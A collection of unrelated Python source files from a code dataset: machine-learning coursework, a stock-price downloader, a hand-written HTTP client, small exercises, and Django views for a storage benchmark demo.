print(TrainX[g1, l1])\n\n l2 = np.where(TrainX[g2, :])\n print('Game {}, heros {}'.format(g2 + 1, l2[0]))\n print('Empty Positions:')\n print(recon_train[g2, l2[0] + 2])\n print(TrainX[g2, l2[0] + 2])\n print('Hero Positions:')\n print(recon_train[g2, l2])\n print(TrainX[g2, l2])\n\n lr = LogisticRegression(random_state=0, solver='newton-cg')\n lr.fit(encode_train, TrainY.ravel())\n score_train_lr = lr.score(encode_train, TrainY.ravel())\n score_valid_lr = lr.score(encode_valid, ValidY.ravel())\n score_test_lr = lr.score(encode_test, TestY.ravel())\n\n print('Encoding Logistic Regression Prediction Accuracy: {:.2f}/{:.2f}/{:.2f}'.format(100 * score_train_lr,\n 100 * score_valid_lr,\n 100 * score_test_lr))\n\n gauss_nb = GaussianNB()\n gauss_nb.fit(encode_train, TrainY.ravel())\n score_train_nb = gauss_nb.score(encode_train, TrainY.ravel())\n score_valid_nb = gauss_nb.score(encode_valid, ValidY.ravel())\n score_test_nb = gauss_nb.score(encode_test, TestY.ravel())\n\n print('Encoding Gaussian Naive Bayes Prediction Accuracy: {:.2f}/{:.2f}/{:.2f}'.format(100 * score_train_nb,\n 100 * score_valid_nb,\n 100 * score_test_nb))\n\n lr_recon = LogisticRegression(random_state=0, solver='newton-cg')\n lr_recon.fit(recon_train, TrainY.ravel())\n score_train_lr_recon = lr_recon.score(recon_train, TrainY.ravel())\n score_valid_lr_recon = lr_recon.score(recon_valid, ValidY.ravel())\n score_test_lr_recon = lr_recon.score(recon_test, TestY.ravel())\n\n print('Recon LR Prediction Accuracy: {:.2f}/{:.2f}/{:.2f}'.format(100 * score_train_lr_recon,\n 100 * score_valid_lr_recon,\n 100 * score_test_lr_recon))\n\n gauss_nb_recon = GaussianNB()\n gauss_nb_recon.fit(recon_train, TrainY.ravel())\n score_train_nb_recon = gauss_nb_recon.score(recon_train, TrainY.ravel())\n score_valid_nb_recon = gauss_nb_recon.score(recon_valid, ValidY.ravel())\n score_test_nb_recon = gauss_nb_recon.score(recon_test, TestY.ravel())\n\n print('Recon NB Prediction Accuracy: {:.2f}/{:.2f}/{:.2f}'.format(100 * score_train_nb_recon,\n 100 * score_valid_nb_recon,\n 100 * score_test_nb_recon))\n\n lr_2 = LogisticRegression(random_state=0, solver='newton-cg')\n lr_2.fit(TrainX, TrainY.ravel())\n score_train_lr_2 = lr_2.score(TrainX, TrainY.ravel())\n score_valid_lr_2 = lr_2.score(ValidX, ValidY.ravel())\n score_test_lr_2 = lr_2.score(TestX, TestY.ravel())\n\n print('Raw Logistic Regression Prediction Accuracy: {:.2f}/{:.2f}/{:.2f}'.format(100 * score_train_lr_2,\n 100 * score_valid_lr_2,\n 100 * score_test_lr_2))\n\n gauss_nb_2 = GaussianNB()\n gauss_nb_2.fit(TrainX, TrainY.ravel())\n score_train_nb_2 = gauss_nb_2.score(TrainX, TrainY.ravel())\n score_valid_nb_2 = gauss_nb_2.score(ValidX, ValidY.ravel())\n score_test_nb_2 = gauss_nb_2.score(TestX, TestY.ravel())\n\n print('Raw Gaussian Naive Bayes Prediction Accuracy: {:.2f}/{:.2f}/{:.2f}'.format(100 * score_train_nb_2,\n 100 * score_valid_nb_2,\n 100 * score_test_nb_2))\n\n print('On {} dataset, optimal {} ReLu AE T/V/T loss: {:.4f}/{:.4f}/{:.4f}'.format(set, nodenum, loss_train,\n loss_valid, loss_test))\n\n # filetitle = 'AutoEncoder_{}_all_IO_noleave_{}.pt'.format(nodenum, set)\n #\n # torch.save({\n # 'model_state_dict': model_state_dict_opt,\n # 'layer': layer,\n # 'epochs': epochs,\n # 'epoch_optimal': epoch_opt,\n # 'loss_optimal': loss_opt,\n # 'loss_train': loss_train,\n # 'loss_valid': loss_valid,\n # 'loss_test': loss_test,\n # 'score_train_lr': score_train_lr,\n # 'score_valid_lr': score_valid_lr,\n # 'score_test_lr': score_test_lr,\n # # 'score_train_svm': score_train_svm,\n # # 'score_valid_svm': score_valid_svm,\n # # 'score_test_svm': score_test_svm,\n # 'score_train_nb': score_train_nb,\n # 'score_valid_nb': score_valid_nb,\n # 'score_test_nb': score_test_nb,\n # }, filetitle)\n","sub_path":"algorithms/AutoEncoder_test/trainautoencoder_113_relu_weighted.py","file_name":"trainautoencoder_113_relu_weighted.py","file_ext":"py","file_size_in_byte":14789,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"9233308","text":"import math\nimport os\nimport urllib.request\nfrom urllib.error import HTTPError\nimport time\nimport pandas as pd\n\n# interval is the data retrieval interval (this can be either 1d, 1w or 1m)\n\n# OUTSTANDING NUMBER OF SHARES\n\n\ndef pull_all_data(src, start_idx=0):\n file_length = 0\n\n with open(\"ALL_DATA/Lists/missed.txt\", \"a\") as missed_file:\n missed_file.truncate(0)\n missed_file.close()\n\n print(\"PULLING DATA FROM: \" + src)\n\n with open(src, \"r\") as file:\n file_lines = file.readlines()\n file_length = len(file_lines)\n\n for i in range(start_idx, file_length):\n symbol = file_lines[i].strip()\n screen = True\n while screen:\n try:\n print(\"Downloading historical data for: \" + symbol)\n pull_historical_data(symbol)\n screen = False\n except HTTPError as e:\n if e.code == 401:\n print(f\"\\nWaiting 30 Seconds, index = {i}\")\n time.sleep(30)\n else:\n print(e)\n with open(\"ALL_DATA/Lists/missed.txt\", \"a\") as missed_file:\n missed_file.write(symbol)\n missed_file.write(\"\\n\")\n missed_file.close()\n screen = False\n\n return file_length\n\n\ncurrent_time = str(math.floor(time.time()))\n# Times:\n# 2020-03-19 : 1584576000\n# 2020-01-01 : 1577836800\n# 2019-01-01 : 1546300800\n# 2000-01-01 : 946684800\n#\n\n\ndef make_url(\n ticker_symbol, period1=\"1546300800\", period2=\"1587513600\", interval=\"1d\",\n):\n return \"https://query1.finance.yahoo.com/v7/finance/download/{}?period1={}&period2={}&interval={}&events=history\".format(\n ticker_symbol, period1, period2, interval\n )\n\n\ndef make_filename(ticker_symbol):\n return ticker_symbol + \".csv\"\n\n\ndef pull_historical_data(ticker_symbol):\n filename = make_filename(ticker_symbol)\n\n urllib.request.urlretrieve(\n make_url(ticker_symbol), os.path.join(os.getcwd(), filename)\n )\n\n df = pd.read_csv(filename, index_col=\"Date\", parse_dates=True, na_values=[\"nan\"],)\n df_temp = df.copy()\n df_temp = df_temp[\"Adj Close\"]\n\n df_temp = df_temp.rename(columns={\"Adj Close\": \"Daily Return\"})\n df_add = (df_temp[1:] / df_temp.values[:-1]) - 1\n\n df[\"Daily Return\"] = df_add\n\n dst = os.getcwd() + \"/ALL_DATA/Data\"\n\n df.to_csv(os.path.join(dst, filename), index=\"Date\")\n os.remove(filename)\n\n\ndef get_PRN_data():\n urllib.request.urlretrieve(\n f\"https://query1.finance.yahoo.com/v7/finance/download/PRN?period1=1546300800&period2={current_time}&interval=1d&events=history\",\n \"ALL_DATA/Data/_PRN.csv\",\n )\n df = pd.read_csv(\n \"ALL_DATA/Data/_PRN.csv\", index_col=\"Date\", parse_dates=True, na_values=[\"nan\"],\n )\n df_temp = df.copy()\n df_temp = df_temp[\"Adj Close\"]\n\n df_temp = df_temp.rename(columns={\"Adj Close\": \"Daily Return\"})\n df_add = (df_temp[1:] / df_temp.values[:-1]) - 1\n\n df[\"Daily Return\"] = df_add\n\n dst = os.getcwd() + \"/ALL_DATA/Data\"\n\n df.to_csv(os.path.join(dst, \"_PRN.csv\"), index=\"Date\")\n\n\nif __name__ == \"__main__\":\n\n start_time = time.time()\n get_PRN_data()\n indices = pull_all_data(\"ALL_DATA/Lists/indices.txt\")\n stop_index = pull_all_data(\"ALL_DATA/Lists/COMPANY_LIST.txt\")\n\n end_time = time.time()\n\n print(\"\\n--- TOTAL TIME ---\")\n print(f\"{round(end_time-start_time, 4)} seconds\\n\")\n print(f\"--- AVERAGE TIME OVER {stop_index + indices} STOCKS ---\")\n print(\n f\"{round((end_time - start_time) / (stop_index + indices) , 4)} SECONDS PER STOCK\"\n )\n","sub_path":"PULL_EVERY_STOCK.py","file_name":"PULL_EVERY_STOCK.py","file_ext":"py","file_size_in_byte":3713,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"615887218","text":"# exercise 6.2.1\n\nfrom pylab import *\nfrom import_data import *\nfrom scipy.io import loadmat\nimport sklearn.linear_model as lm\nfrom sklearn import cross_validation, tree\nfrom scipy import stats\nfrom import_data import *\nfrom pybrain.datasets import ClassificationDataSet\nfrom pybrain.tools.shortcuts import buildNetwork\nfrom pybrain.supervised.trainers import BackpropTrainer\nfrom pybrain.structure.modules import SoftmaxLayer\n\ndef conv2DS(Xv, yv=None):\n if yv == None:\n yv = np.asmatrix(np.ones((Xv.shape[0], 1)))\n for j in range(len(classNames)): yv[j] = j\n\n C = len(unique(yv.flatten().tolist()[0]))\n DS = ClassificationDataSet(M, 1, nb_classes=C)\n for i in range(Xv.shape[0]): DS.appendLinked(Xv[i, :].tolist()[0], [yv[i].A[0][0]])\n DS._convertToOneOfMany()\n return DS\n\ndef neval(xval):\n return argmax(fnn.activateOnDataset(conv2DS(np.asmatrix(xval))), 1)\n\ndata = Data()\ndata.normalize_data()\nX = np.matrix(data.X)\ny = np.matrix(data.y_cont).T\ndata.remove_one_out_of_k(data.cont_classes)\nclassNames = data.cont_classes\nattributeNames = data.attribute_names\n\nN, M = X.shape\n\n## Crossvalidation\n# Create crossvalidation partition for evaluation\nK = 4\nCV = cross_validation.KFold(N, K, shuffle=True)\n# CV = cross_validation.StratifiedKFold(y.A.ravel(),k=K)\n\n# Initialize variables\nError_ann = np.empty((K, 1))\nError_dectree = np.empty((K, 1))\nn_tested = 0\n\nk = 0\nfor train_index, test_index in CV:\n # extract training and test set for current CV fold\n X_train = X[train_index, :]\n y_train = y[train_index, :]\n X_test = X[test_index, :]\n y_test = y[test_index, :]\n\n # Fit and evaluate ANN\n DS_train = conv2DS(X_train, y_train)\n DS_test = conv2DS(X_test, y_test)\n fnn = buildNetwork(DS_train.indim, 16, DS_train.outdim, outclass=SoftmaxLayer, bias=True)\n trainer = BackpropTrainer(fnn, dataset=DS_train, momentum=0.1, verbose=False, weightdecay=0.01)\n for tmp in range(30): trainer.trainEpochs(1)\n ote_test = fnn.activateOnDataset(DS_test)\n ErrorRate_test = (np.argmax(ote_test, 1) != y_test.T).mean(dtype=float) * 100\n Error_ann[k] = ErrorRate_test\n\n # Fit and evaluate Decision Tree classifier\n # The optimal max depth was found to be 5.\n model2 = tree.DecisionTreeClassifier(criterion=\"gini\", max_depth=3)\n model2 = model2.fit(X_train.A, y_train.A.ravel())\n y_dectree = np.mat(model2.predict(X_test)).T\n Error_dectree[k] = 100 * (y_dectree != y_test).sum().astype(float) / len(y_test)\n\n k += 1\n\n# Use T-test to check if classifiers are significantly different\n[tstatistic, pvalue] = stats.ttest_ind(Error_ann, Error_dectree)\nif pvalue <= 0.05:\n print('Classifiers are significantly different. (p={0})'.format(pvalue[0]))\nelse:\n print('Classifiers are not significantly different (p={0})'.format(pvalue[0]))\n\n# Boxplot to compare classifier error distributions\nfigure()\nboxplot(np.bmat('Error_ann, Error_dectree'))\nxlabel('ANN vs. Decision Tree')\nylabel('Cross-validation error [%]')\nsavefig('img/t_test_ann_tree.pdf')\nshow()","sub_path":"assignment_2/src/t_test_compare.py","file_name":"t_test_compare.py","file_ext":"py","file_size_in_byte":3033,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"638286071","text":"#!/usr/bin/env python3\n# coding: utf-8\n# Copyright 2016 Abram Hindle, https://github.com/tywtyw2002, https://github.com/treedust, and Vanessa Peng\n# \n# Licensed under the Apache License, Version 2.0 (the \"License\");\n# you may not use this file except in compliance with the License.\n# You may obtain a copy of the License at\n# \n# http://www.apache.org/licenses/LICENSE-2.0\n# \n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS,\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n# See the License for the specific language governing permissions and\n# limitations under the License.\n\n# Do not use urllib's HTTP GET and POST mechanisms.\n# Write your own HTTP GET and POST\n# The point is to understand what you have to send and get experience with it\n\nimport sys\nimport socket\nimport re\nfrom urllib.parse import urlparse, urlencode\n\ndef help():\n print(\"httpclient.py [GET/POST] [URL]\\n\")\n\nclass HTTPResponse(object):\n def __init__(self, code=200, body=\"\"):\n self.code = code\n self.body = body\n\nclass HTTPClient(object):\n def connect(self, host, port):\n self.socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\n self.socket.connect((host, port))\n return None\n\n def get_code(self, data):\n #Version, code, message \n code = data.splitlines()[0].split(' ')[1]\n return int(code) \n\n def get_headers(self,data):\n headers = data.split('\\r\\n\\r\\n')[0]\n return headers \n\n def get_body(self, data):\n content = data.splitlines()\n index_of_new_line = 0 \n for element in content:\n index_of_new_line += 1\n if not element:\n break\n # content will be everything comming after the new line \n return ''.join(content[index_of_new_line:])\n\n\n def sendall(self, data):\n self.socket.sendall(data.encode('utf-8'))\n \n def close(self):\n self.socket.close()\n\n def recvall(self, sock):\n buffer = bytearray()\n done = False\n while not done:\n part = sock.recv(1024)\n if (part):\n buffer.extend(part)\n else:\n done = not part\n return buffer.decode('utf-8')\n\n\n def GET(self, url, args=None):\n port, host, path = self.url_splitter(url)\n\n headers = {\n 'Host': '{}'.format(host),\n 'User-Agent': 'curl/7.54.0',\n 'Accept': '*/*',\n 'Connection': 'close'\n }\n\n request = self.request_builder('GET', path, headers, None)\n\n self.connect(host, port)\n self.sendall(request)\n data = self.recvall(self.socket)\n self.close()\n code = self.get_code(data)\n body = self.get_body(data)\n print(body)\n return HTTPResponse(code, body)\n\n def POST(self, url, args=None):\n port, host, path = self.url_splitter(url)\n headers = {\n 'Host': '{}'.format(host),\n 'User-Agent': 'curl/7.54.0',\n 'Accept': '*/*',\n 'Connection': 'close'\n }\n if args:\n headers['Content-Type'] = 'application/x-www-form-urlencoded'\n headers['Content-Length'] = len(urlencode(args))\n else:\n headers['Content-Type'] = 'application/x-www-form-urlencoded'\n headers['Content-Length'] = 0\n request = self.request_builder('POST', path, headers, args)\n self.connect(host, port)\n self.sendall(request)\n data = self.recvall(self.socket)\n self.close()\n code = self.get_code(data)\n body = self.get_body(data)\n print(body)\n return HTTPResponse(code, body)\n\n def request_builder(self, method, path, headers, body):\n payload = '{} {} HTTP/1.1\\r\\n'.format(method, path)\n for key, value in headers.items():\n payload += '{}: {}\\r\\n'.format(key, value)\n payload += '\\r\\n'\n if body:\n payload += urlencode(body) \n\n return payload\n\n\n def command(self, url, command=\"GET\", args=None):\n if (command == \"POST\"):\n return self.POST( url, args )\n else:\n return self.GET( url, args )\n \n def url_splitter(self, url):\n parsed_url = urlparse(url)\n path = parsed_url.path\n port = parsed_url.port\n host = parsed_url.hostname\n query = parsed_url.query\n \n if not port:\n port = 80\n if not path:\n path = '/'\n #If the website is static, return root \n elif path.startswith('/static'):\n path = '/'\n if query: \n path += '?'+query\n return port, host, path \n\nif __name__ == \"__main__\":\n client = HTTPClient()\n command = \"GET\"\n if (len(sys.argv) <= 1):\n help()\n sys.exit(1)\n elif (len(sys.argv) == 3):\n print(client.command( sys.argv[2], sys.argv[1] ).bodyh)\n else:\n print(client.command( sys.argv[1] ))\n","sub_path":"httpclient.py","file_name":"httpclient.py","file_ext":"py","file_size_in_byte":5061,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"} +{"seq_id":"52668053","text":"# -*- coding: utf-8 -*-\r\n\"\"\"\r\nCreated on Sat Dec 16 18:55:51 2017\r\n\r\n@author: VIPUL\r\n\"\"\"\r\n\r\ndef Nth_to_lastNode(n,head):\r\n right_pointer = head\r\n left_pointer = head\r\n for i in range(n-1):\r\n if not right_pointer.nextNode:\r\n raise LookupError(\"Error - n smaller than the linkedList\")\r\n right_pointer.nextNode\r\n while right_pointer.nextNode!= None:\r\n right_pointer = right_pointer.nextNode\r\n left_pointer = left_pointer.nextNode\r\n \r\n return left_pointer\r\n \r\n \r\n \r\nclass Node(object):\r\n def __init__(self,value):\r\n self.value = value\r\n self.nextNode = None\r\n\r\na = Node(1)\r\nb = Node(2)\r\nc = Node(3)\r\nd = Node(4)\r\ne = Node(5)\r\na.nextNode = b\r\nb.nextNode = c\r\nc.nextNode = d\r\nd.nextNode = e\r\n\r\nf = Nth_to_lastNode(2,a)\r\nf.value","sub_path":"Nth to last Node LinkedList.py","file_name":"Nth to last Node LinkedList.py","file_ext":"py","file_size_in_byte":816,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"} +{"seq_id":"44159964","text":"\"\"\"\r\nThis Program contains two functions #CreateMenu and #getValidChoice. It also contain the List to provide to the function to return the formatted Menu. The functions are described below. \r\n\"\"\"\r\n__author__ = \"Suman Karanjit\"\r\n__date__ = \"02/06/2019\"\r\n\r\ndef CreateMenu(chList, menuTitle):\r\n \"\"\"\r\n This Function will take two parameter,chList( List, List of menu item) and menuTitle( str, Title of Menu). It will then return out the formatted Menu.\r\n \"\"\"\r\n tmpStr = \"\"\r\n ct = \"1\"\r\n \r\n for item in chList:\r\n tmpStr = tmpStr + ct + \". \" + item + \"\\n\"\r\n ct = int(ct) + 1\r\n ct = str(ct)\r\n return menuTitle +\"\\n\" + tmpStr\r\ndef getValidChoice(NoOfCh, menuStr):\r\n \"\"\"\r\n This function will take two paramenter, NoOfCh(int, len of the menuList) and menuStr( str , Formatted Menu ). It will print out the menu and ask user for the choice. \r\n Also will print Invalid and ask for the choice until the choice is valid.Choice needs to be integer less than NoOfCh and greater than zero. At the end it will return choice. \r\n \"\"\"\r\n print(\"\\n\",menuStr)\r\n choice = input(\"Enter your choice: \" )\r\n while not choice.isdigit() or int(choice) <= 0 or int(choice) > NoOfCh:\r\n print(\"\\nInvalid Choice -- Please Try Again \\n\")\r\n print(menuStr)\r\n choice = input(\"Enter your choice: \" )\r\n return choice\r\n\r\n\r\n################################Bonus Function#################################\r\ndef HandleDeposit(balance):\r\n \"\"\"\r\n This function will take one parameter(balance) which is also integer. It will ask user to enter the deposit amount until it is not integer greater to zero.\r\n And if so it will add to balance and return balance after adding deposit.O\r\n \"\"\"\r\n deposit = input (\"Enter deposit amount : \")\r\n while not deposit.isdigit() or int(deposit) < 0:\r\n print(\"Deposit amount must be only numbers\")\r\n deposit = input (\"Enter deposit amount : \")\r\n deposit = int(deposit)\r\n balance += deposit\r\n return balance\r\n\r\ndef HandleWithdrawl(balance):\r\n \"\"\"\r\n This function will take one parameter(balance) which is also integer. It will ask user to enter the deposit amount until it is not integer equal or greater to zero and also the amoung % 10 is equal to zero.\r\n Also will check if the withdraw amount is lower than or equal to balance,then it will update balance and return it otherwise it will return error saying Overdraft not allowed.\r\n \"\"\"\r\n WithdrawMoney= input(\"Enter amount to withdrawl : \")\r\n while not WithdrawMoney.isdigit() or int(WithdrawMoney) <= 0 or int(WithdrawMoney)%10 != 0:\r\n print(\"Withdrawl amount must be only numbers and needs to be multiplication of 10. For Eg: 10,20,30 etc.\")\r\n WithdrawMoney= input(\"Enter amount to withdrawl : \") \r\n WithdrawMoney = int(WithdrawMoney)\r\n if WithdrawMoney <= balance:\r\n balance -= WithdrawMoney\r\n\r\n else:\r\n print(\"\\n{}{:.2f}\\n\".format(\"Overdraft is not allowed.Your Balance is $\",balanceNow))\r\n \r\n return balance\r\n \r\n \r\n \r\n \r\n \r\n\r\n###################################main#########################################\r\nchList = [\"Add\", \"Subtract\", \"Divide\", \"MultiPly\", \"Quit\"]\r\nmenuTitle = \"Main Menu\"\r\nmenustr = CreateMenu(chList,menuTitle)\r\n#print(menustr)\r\nchoice = getValidChoice(len(chList),menustr)\r\n\r\n\r\nwhile choice != str(len(chList)):\r\n if int(choice) == 1:\r\n print(\"Your Choice : \",chList[int(choice)-1])\r\n elif int(choice) == 2:\r\n print(\"Your Choice : \",chList[int(choice)-1])\r\n elif int(choice) == 3:\r\n print(\"Your Choice : \",chList[int(choice)-1])\r\n elif int(choice) == 4:\r\n print(\"Your Choice : \",chList[int(choice)-1])\r\n choice = getValidChoice(len(chList),menustr)\r\nprint(\"\\nThank you for Using this program\\n\")\r\n\r\n#################################Bonus############################################################\r\noptionList = ['Deposit','Withdrawal','Print Balance','Quit']\r\nopeningBalance = input(\"Enter opening balance of your checking account: \")\r\n\r\nbalanceNow = int(openingBalance)\r\nBankMenu = CreateMenu(optionList, \"Banking Menu\")\r\n#print(BankMenu)\r\nBankChoice = getValidChoice(len(optionList),BankMenu)\r\nwhile BankChoice != str(len(optionList)):\r\n if int(BankChoice) == 1:\r\n balanceNow = HandleDeposit(balanceNow)\r\n elif int(BankChoice) == 2:\r\n balanceNow = HandleWithdrawl(balanceNow)\r\n elif int(BankChoice) == 3:\r\n print(\"\\n{}{:.2f}\\n\".format(\"Your Current balance is : $\",balanceNow))\r\n BankChoice = getValidChoice(len(optionList),BankMenu)\r\n \r\nprint(\"\\nThank You for using our Banking Solution.\")\r\n\r\n#####################################################################################################################\r\n","sub_path":"Program/program3v2.1.py","file_name":"program3v2.1.py","file_ext":"py","file_size_in_byte":4787,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"} +{"seq_id":"563730026","text":"from django.shortcuts import render\nimport subprocess\nimport json\nfrom django.http import JsonResponse\nfrom .management.methods import methods\nimport time\nimport random\nimport pandas as pd\nfrom django.views.decorators.csrf import csrf_exempt\nimport math\n# Create your views here.\n\ncounter = 0\nm = methods()\n\n\ndef demo(request):\n context = {}\n return (render(request, 'demo/vmworld.html', context))\n\n@csrf_exempt\ndef start(request):\n m.create_fio(\"192.168.0.102\", request.POST, \"/dev/sdb\")\n m.create_fio(\"192.168.0.100\", request.POST, \"/dev/pmem0\")\n m.create_fio(\"192.168.0.101\", request.POST, \"/dev/pmem0\")\n\n\n #m.kill_fio(\"192.168.0.102\")\n #m.kill_fio(\"192.168.0.100\")\n # m.kill_fio(\"192.168.0.101\")\n\n #m.start_fio(\"192.168.0.102\")\n #m.start_fio(\"192.168.0.100\")\n # m.start_fio(\"192.168.0.101\")\n\n context = {\n }\n return JsonResponse(json.loads(json.dumps(context)))\n\ndef shutdown(request):\n m.kill_fio(\"192.168.0.100\")\n m.kill_fio(\"192.168.0.101\")\n m.kill_fio(\"192.168.0.102\")\n context = {\n }\n return JsonResponse(json.loads(json.dumps(context)))\n\ndef get_data(request):\n global counter\n counter = counter + 1\n\n # cpu_util_nvme = m.get_cpu_util('192.168.0.102')\n bw_nvme, iops_nvme, lat_nvme = m.get_data('192.168.0.102')\n bw_nvdimm, iops_nvdimm, lat_nvdimm = m.get_data('192.168.0.100')\n bw_nvdimm2, iops_nvdimm2, lat_nvdimm2 = m.get_data('192.168.0.101')\n\n\n context = {\n 'nvme_bw': [counter, math.ceil(int(bw_nvme)/1000)],\n 'nvme_iops': [counter, int(iops_nvme)],\n 'nvme_lat': [counter, (int(lat_nvme)/1000)],\n 'nvdimm_bw': [counter, math.ceil(int(bw_nvdimm)/1000)],\n 'nvdimm_iops': [counter, int(iops_nvdimm)],\n 'nvdimm_lat': [counter, (int(lat_nvdimm)/1000)],\n 'nvdimm_bw2': [counter, math.ceil(int(bw_nvdimm2) / 1000)],\n 'nvdimm_iops2': [counter, int(iops_nvdimm2)],\n 'nvdimm_lat2': [counter, (int(lat_nvdimm2) / 1000)],\n\n }\n return JsonResponse(json.loads(json.dumps(context)))\n","sub_path":"demo/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":2034,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"} +{"seq_id":"82281255","text":"# -*- encoding: utf-8 -*-\n##############################################################################\n#\n# OpenERP, Open Source Management Solution\n# Copyright (C) 2004-2009 Tiny SPRL (). All Rights Reserved\n# $Id$\n#\n# This program is free software: you can redistribute it and/or modify\n# it under the terms of the GNU General Public License as published by\n# the Free Software Foundation, either version 3 of the License, or\n# (at your option) any later version.\n#\n# This program is distributed in the hope that it will be useful,\n# but WITHOUT ANY WARRANTY; without even the implied warranty of\n# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n# GNU General Public License for more details.\n#\n# You should have received a copy of the GNU General Public License\n# along with this program. If not, see .\n#\n##############################################################################\nimport urllib\nimport urllib2\nfrom xml.dom.minidom import Node\nfrom xml.dom.minidom import parse, parseString\nimport xml.dom.minidom\nimport socket\nimport httplib\nimport time\nimport netsvc\nfrom osv import fields, osv\nfrom mx import DateTime\nfrom tools import config\nfrom tools.translate import _\nfrom datetime import datetime, timedelta \n\nclass procurement_order(osv.osv):\n _name = \"procurement.order\"\n _description = \"Procurement\"\n _inherit = 'procurement.order'\n _columns = {\n 'sendorder':fields.boolean('Sendorder'),\n 'stockingr': fields.char('Stock Ingram', size=256, select=True,help=\"Stock Ingram from the SO.\" ),\n }\n\n def action_po_assign(self, cr, uid, ids, context=None):\n \"\"\" This is action which call from workflow to assign purchase order to procurements\n @return: True\n \"\"\"\n purchase_id = False\n company = self.pool.get('res.users').browse(cr, uid, uid, context).company_id\n for procurement in self.browse(cr, uid, ids):\n res_id = procurement.move_id.id\n partner = procurement.product_id.seller_ids[0].name\n partner_id = partner.id\n address_id = self.pool.get('res.partner').address_get(cr, uid, [partner_id], ['delivery'])['delivery']\n pricelist_id = partner.property_product_pricelist_purchase.id\n\n uom_id = procurement.product_id.uom_po_id.id\n\n qty = self.pool.get('product.uom')._compute_qty(cr, uid, procurement.product_uom.id, procurement.product_qty, uom_id)\n if procurement.product_id.seller_ids[0].qty:\n qty=max(qty,procurement.product_id.seller_ids[0].qty)\n\n price = self.pool.get('product.pricelist').price_get(cr, uid, [pricelist_id], procurement.product_id.id, qty, False, {'uom': uom_id})[pricelist_id]\n\n newdate = DateTime.strptime(procurement.date_planned, '%Y-%m-%d %H:%M:%S')\n newdate = newdate - DateTime.RelativeDateTime(days=company.po_lead)\n newdate = newdate - procurement.product_id.seller_ids[0].delay\n\n product=self.pool.get('product.product').browse(cr,uid,procurement.product_id.id,context=context)\n line = {\n 'name': procurement.description,\n 'product_qty': qty,\n 'product_id': procurement.product_id.id,\n 'product_uom': uom_id,\n 'price_unit': price,\n 'date_planned': newdate.strftime('%Y-%m-%d %H:%M:%S'),\n 'move_dest_id': res_id,\n 'notes':product.description_purchase,\n 'stockingr':procurement.stockingr,\n }\n\n taxes_ids = procurement.product_id.product_tmpl_id.supplier_taxes_id\n taxes = self.pool.get('account.fiscal.position').map_tax(cr, uid, partner.property_account_position, taxes_ids)\n line.update({\n 'taxes_id':[(6,0,taxes)]\n })\n po_exist = self.pool.get('purchase.order').search(cr, uid, [ ('partner_id', '=', partner_id), ('state', '=', 'draft'), ]) #, ('origin', '=',procurement.origin)\n if po_exist:\n if procurement.origin!=\"SCHEDULER\":\n self.pool.get('purchase.order').write(cr, uid, po_exist[0], {'order_line': [(0,0,line)],}) \n origin=self.pool.get('purchase.order').read(cr,uid,po_exist[0],['origin'])\n if not origin['origin']:\n origin=procurement.origin\n self.pool.get('purchase.order').write(cr, uid, po_exist[0], {'origin': origin,}) \n else:\n if not procurement.origin in origin['origin']:\n origin=origin['origin']+\":\"+procurement.origin\n self.pool.get('purchase.order').write(cr, uid, po_exist[0], {'origin': origin,}) \n \n else:\n purchase_id = self.pool.get('purchase.order').create(cr, uid, {\n 'origin': procurement.origin,\n 'partner_id': partner_id,\n 'partner_address_id': address_id,\n 'location_id': procurement.location_id.id,\n 'pricelist_id': pricelist_id,\n 'order_line': [(0,0,line)],\n 'payment_term': partner.property_payment_term and partner.property_payment_term.id or False,\n 'fiscal_position': partner.property_account_position and partner.property_account_position.id or False\n })\n self.write(cr, uid, [procurement.id], {'state':'running', 'purchase_id':purchase_id})\n return purchase_id\n \nprocurement_order()","sub_path":"Ingram/procurement.py","file_name":"procurement.py","file_ext":"py","file_size_in_byte":5663,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"} +{"seq_id":"33259277","text":"import Error_Page\nfrom Error_Page import *\nfrom Recommendation import Recommend\nfrom ClassLibrary import Base\n\n# 前端参数\nPARAMS_RECOMMEND_TIME = '_recommendationTime'\nPARAMS_RECOMMEND_FILE = '_imageFileName'\nPARAMS_RECOMMEND_WIDTH = '_imageWidth'\nPARAMS_RECOMMEND_HEIGHT = '_imageHeight'\nPARAMS_RECOMMEND_PRODUCT_GROUP = '_inputProductGroupId'\n\n\nPARAMS_RECOMMEND_TAG = 'id_AddTagContentX'\nPARAMS_RECOMMEND_TAG_GROUP_ID = 'id_AddTagContentProductGroupId_'\nPARAMS_RECOMMEND_TAG_ID = 'id_AddTagContentProductId_'\nPARAMS_RECOMMEND_TAG_LINE = 'id_AddTagContentLine_'\nPARAMS_RECOMMEND_TAG__LINE_STYLE = 'id_AddTagContentType_'\nPARAMS_RECOMMEND_TAG__LINE_DIRECTION = 'id_AddTagContentDirection_'\nPARAMS_RECOMMEND_TAG__POINT_X = 'id_AddTagContentX_'\nPARAMS_RECOMMEND_TAG__POINT_Y = 'id_AddTagContentY_'\n\n\n# 返回参数名称\nRETURN_PARAMS_POINT = \"point\"\nRETURN_FIRST_DATA = 'data'\nRETURN_SECOND_RECOMMEND_LIST = 'recommendList'\n\n\ndef FUNCTION_OUTPUT_DATA(data):\n Base.sys_log_info( data )\n\n\ndef getRequestData1(request):\n \"\"\"\n 从前端获取tag数据,并对数据有效性进行检查\n :param request: \n :return: \n \"\"\"\n tagList = []\n for foo in request.POST.getlist(PARAMS_RECOMMEND_TAG):\n if foo:\n percentX = request.POST.get(PARAMS_RECOMMEND_TAG__POINT_X + foo)\n percentY = request.POST.get(PARAMS_RECOMMEND_TAG__POINT_Y + foo)\n 